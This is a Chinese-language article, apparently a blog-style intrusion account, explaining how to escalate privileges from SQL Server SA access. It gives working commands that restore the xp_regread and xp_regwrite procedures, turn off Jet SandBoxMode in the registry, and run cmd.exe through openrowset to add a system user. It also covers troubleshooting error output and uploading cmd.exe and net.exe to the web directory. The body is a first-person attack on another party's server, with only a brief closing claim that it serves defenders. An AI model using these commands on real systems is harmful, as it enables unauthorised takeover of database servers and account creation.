通過重建方法獲取webshell
獲取webshell是黑客入侵服務器想要提權的必要手段,如何防止黑客獲取webshell成為了安全管理員所要思考的問題。我們通過以下的入侵實例,使網絡安全管理員能夠分析入侵情況,避免黑客獲取webshell的情況發生。
今天突然發現有一個SA權限。服務器管理員將大部份擴展都刪除了。最后自己重建sp_makewebtask存儲才搞到一個webshell了。
當然有了webshell,無法滿足我們貪婪的欲望。開始測試提權。有serv-u,但是提權失敗了。也許大家會說用back log來提權。但是那個太慢了,要重啟機器,會影響對方業務,同時又會給對方留下不好的印像。有人也許會說用讀取系統賬號的注冊表,導入導出,克隆賬號,這個辦法也可行,但由于并非黑對方主機,還是要保證對方系統的安整性比較好。(也許是心理因素,^_^)
最后只好試試沙盒模式。很多人SA直接用沙盒模式成功了好多機器,但我從來沒實踐過,也不太清楚成功率如何。只好拿他當回肉雞嘗試了。
由于擴展被刪除,先恢復對注冊表的讀寫存儲。
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
修復沙盒的保護模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--
查看'SandBoxMode'值是否已經變成0了。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
最后調用沙盒模式
select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
1.如果沙盒保護模式未“關閉”,會報錯:
服務器: 消息 7357,級別 16,狀態 2,行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
2.如果.mdb不存在或是輸入路徑錯誤
服務器: 消息 7399,級別 16,狀態 1,行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 報錯。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 錯誤跟蹤[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: ]。
3.如果輸入過程中多了一些空格,也會報錯。尤其要注意這點,很多人直接網上找文章復制粘貼進去執行。
服務器: 消息 7357,級別 16,狀態 2,行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
4.如果mdb權限和cmd.exe權限不對,同樣會也出現問題。
當mdb權限不對時,
服務器: 消息 7320,級別 16,狀態 2,行 1
未能對 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 執行查詢。
[OLE/DB provider returned message: 未知]
OLE DB 錯誤跟蹤[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]。
5.如果net權限不對時,卻沒有任何提示。
最終的提權辦法就是在當前的web目錄下面上傳系統的ias.mdb和cmd.exe,net.exe三個文件。執行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')
成功增加一個計算機用戶。
通過重建方法獲取webshell是一個可行的入侵手段,不過我們還是要提示大家,實例僅供參考,其最終目的還是希望企業安全管理員能夠加強防護意識。
【編輯推薦】